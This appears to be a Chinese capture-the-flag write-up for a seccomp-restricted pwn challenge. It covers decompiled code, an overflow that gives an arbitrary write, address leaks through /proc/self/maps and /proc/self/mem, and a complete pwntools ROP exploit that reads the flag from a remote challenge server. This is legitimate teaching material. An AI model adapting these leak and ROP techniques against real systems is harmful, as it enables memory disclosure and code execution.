[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
查看程序保护后发现保护全开
supergate@ubuntu:~/Desktop/Pwn$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000208 if (A != 0x208) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x40000208 if (A != 0x40000208) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
发现程序禁了execve
,因此无法getshell,只能考虑将flag读出来。
在对程序主要逻辑进行分析后发现,程序使用mmap
开辟一块空间,并且在这块空间内随机选取一个地方作为栈,如下面伪代码所示
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+1Bh] [rbp-25h]
int stat_loc; // [rsp+1Ch] [rbp-24h]
int fd; // [rsp+20h] [rbp-20h]
__pid_t pid; // [rsp+24h] [rbp-1Ch]
__int64 v7; // [rsp+28h] [rbp-18h]
char *cp_stack; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
sub_555555554F35();
puts("Welcome to my house! Enjoy yourself!\n");
puts("Do you want to help me build my room? Y/n?");
read(0, &buf, 4uLL);
if ( buf == 'y' || buf == 'Y' )
{
fd = open("/dev/urandom", 0, a2);
if ( fd < 0 )
{
perror("open");
exit(1);
}
read(fd, &v7, 8uLL);
close(fd);
v7 &= 0xFFFFF0u; //随机选取一块当作栈空间
cp_stack = (char *)mmap(0LL, 0x10000000uLL, 3, 0x20022, -1, 0LL);//开辟内存空间
if ( cp_stack == (char *)-1LL )
{
perror("mmap");
exit(1);
}
pid = clone((int (*)(void *))fn, &cp_stack[v7], 256, 0LL);//使用clone函数开启新的进程
if ( pid == -1 )
{
perror("clone");
exit(1);
}
waitpid(pid, &stat_loc, 0x80000000);
if ( stat_loc & 0x7F )
puts("\nMaybe something wrong? Build failed!");
else
puts("\nBuild finished! Thanks a lot!");
exit(0);
}
puts("You don't help me? OK, just get out of my hosue!");
exit(0);
}
新的进程调用了fn
函数,根据逻辑和内容可以判断,该函数的主要功能是:
0x200
长度的内容但是所有操作总共只能执行30次
伪代码如下
void __fastcall fn(void *arg)
{
unsigned __int64 offset; // ST28_8
int fd; // [rsp+10h] [rbp-70h]
signed int i; // [rsp+14h] [rbp-6Ch]
int v4; // [rsp+1Ch] [rbp-64h]
int v5; // [rsp+1Ch] [rbp-64h]
void *v6; // [rsp+20h] [rbp-60h]
char buf[24]; // [rsp+30h] [rbp-50h]
void *v8; // [rsp+48h] [rbp-38h]
char nptr; // [rsp+50h] [rbp-30h]
unsigned __int64 v10; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]
v10 = __readfsqword(0x28u);
puts("You get into my room. Just find something!\n");
v6 = malloc(0x186A0uLL);
if ( !v6 )
{
perror("malloc");
exit(1);
}
if ( (unsigned int)sub_5555555554D2() )
exit(1);
v8 = v6;
for ( i = 0; i <= 29; ++i )
{
Menu();
switch ( (unsigned int)&savedregs )
{
case 1u:
puts("So man, what are you finding?");
buf[(signed int)((unsigned __int64)read(0, buf, 0x28uLL) - 1)] = 0;
if ( (unsigned int)check1(buf) )
{
puts("Man, don't do it! See you^.");
exit(1);
}
fd = open(buf, 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
return;
case 2u:
puts("So, Where are you?");
read(0, &nptr, 0x20uLL);
offset = strtoull(&nptr, 0LL, 10);
lseek(fd, offset, 0);
break;
case 3u:
puts("How many things do you want to get?");
read(0, &nptr, 8uLL);
v4 = atoi(&nptr);
if ( v4 <= 100000 )
{
v5 = read(fd, v8, v4);
if ( v5 < 0 )
{
puts("error read");
perror("read");
exit(1);
}
puts("You get something:");
write(1, v8, v5);
}
else
{
puts("You greedy man!");
}
break;
case 4u:
puts("What do you want to give me?");
puts("content: ");
read(0, v8, 0x200uLL);
break;
case 5u:
exit(0);
return;
default:
continue;
}
}
puts("\nI guess you don't want to say Goodbye!");
puts("But sadly, bye! Hope you come again!\n");
exit(0);
}
根据上面的伪代码可以发现在执行第一个功能的时候,输入的文件名存在buf
中,这个地方可以溢出到v8
处,然后再执行第四个功能的时候,就可以进行任意地址写入
但在这之前我们需要知道 程序运行的地址 和 子进程运行时的栈地址,这里需要用到两个系统文件。由于程序提供了我们除了flag任意读取的功能,所以可以尝试提取以下两个文件的信息
/proc/self/maps
来获取各程序段的内存地址,可以获得程序运行的真实地址以及mmap的地址
'555555554000-555555556000 r-xp 00000000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555756000-555555757000 r--p 00002000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555757000-555555758000 rw-p 00003000 08:01 525075 /home/supergate/Desktop/Pwn/pwn\n'
'555555758000-555555791000 rw-p 00000000 00:00 0 [heap]\n'
'7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0 \n'
'7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1706314 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1706314 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1706314 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1706314 /lib/x86_64-linux-gnu/libc-2.23.so\n'
'7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 \n'
'7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1706286 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7ffff7fdb000-7ffff7fde000 rw-p 00000000 00:00 0 \n'
'7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]\n'
'7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]\n'
'7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1706286 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1706286 /lib/x86_64-linux-gnu/ld-2.23.so\n'
'7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 \n'
'7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]\n'
'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'
mmap
分配的数据在heap和stack之间,查阅资料可以知道,在heap之后的一排即为分配的地址
但是如上面所说,栈地址是从分配的地址中随机选取的一片空间,因此我们需要找到真正的栈地址。这个时候我们可以利用/proc/self/mem
,这个文件相当于程序内存的一个映射,可以理解为储存了该程序内存内容。但是这个文件只能打印出已经被映射的内存,未映射的内存打印出来会报错。所以需要通过/proc/self/maps
得到程序的基地址
同时,每次我们可以打印出10w个字节,而且30次中,扣除必要的操作数,我们还剩下24次打印字节的次数,所以总共能够打印出240w个字节。通过查找程序中的内容(提示语句等),可以知道是否已经达到当前栈地址。
但是mmap分配的数量比较大,所以成功打印出来的概率只有百分之十左右,但是在可接受范围内
最后通过open,read,puts将flag输出即可
from pwn import *
context.log_level='debug'
p=remote('111.198.29.45',32188)
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def openfile(filepath):
p.recvuntil("Exit\n")
p.sendline("1")
p.sendlineafter("finding?\n",filepath)
def inputoffset(offset):
p.recvuntil("Exit\n")
p.sendline("2")
p.sendlineafter("you?\n",str(offset))
def getcontent():
p.recvuntil("Exit\n")
p.sendline("3")
p.sendlineafter("get?\n","100000")
def inputcontent(content):
p.recvuntil("Exit\n")
p.sendline("4")
p.sendlineafter("content: \n",content)
p.recvuntil('Y/n?\n')
p.sendline('y')
openfile("/proc/self/maps")
getcontent()
p.recvuntil("You get something:\n")
elf.base=int(p.recvuntil("-")[:-1],16)
log.info("elf.base =========> %x"%elf.base)
while True:
temp=p.recvline()
if "heap" in temp:
mmap_addr=int(p.recvuntil("-")[:-1],16)
p.recvline()
libc.base=int(p.recvuntil("-")[:-1],16)
break
log.info("mmap address =====> %x"%mmap_addr)
log.info("libc base ========> %x"%libc.base)
openfile("/proc/self/mem")
inputoffset(mmap_addr)
for i in range(24):
getcontent()
p.recvuntil("You get something:\n")
memcontent=p.recvuntil("1.Find").split("1.Find")[0]
if "/proc/self/mem" in memcontent:
befcontent=memcontent.split("/proc/self/mem")[0]
buf_addr=mmap_addr+i*100000+len(befcontent)
ret_addr=buf_addr-0x38
log.info("ret_addr ========> %x"%ret_addr)
break
if i==23:
log.info("Not found")
exit(0)
open_addr=elf.base+elf.plt['open']
read_addr=elf.base+elf.plt['read']
puts_addr=elf.base+elf.plt['puts']
log.info("open address ======> %x"%open_addr)
pop_rdi=elf.base+0x1823
pop_rsi_r15=elf.base+0x1821
payload="/proc/self/mem".ljust(0x18,'\x00')+p64(ret_addr)
openfile(payload)
stroffset=15*8
payload=p64(pop_rdi)+p64(ret_addr+stroffset)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(6)+p64(pop_rsi_r15)+p64(ret_addr+stroffset)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi)+p64(ret_addr+stroffset)+p64(puts_addr)
payload+='/home/ctf/flag\x00'
inputcontent(payload)
p.interactive()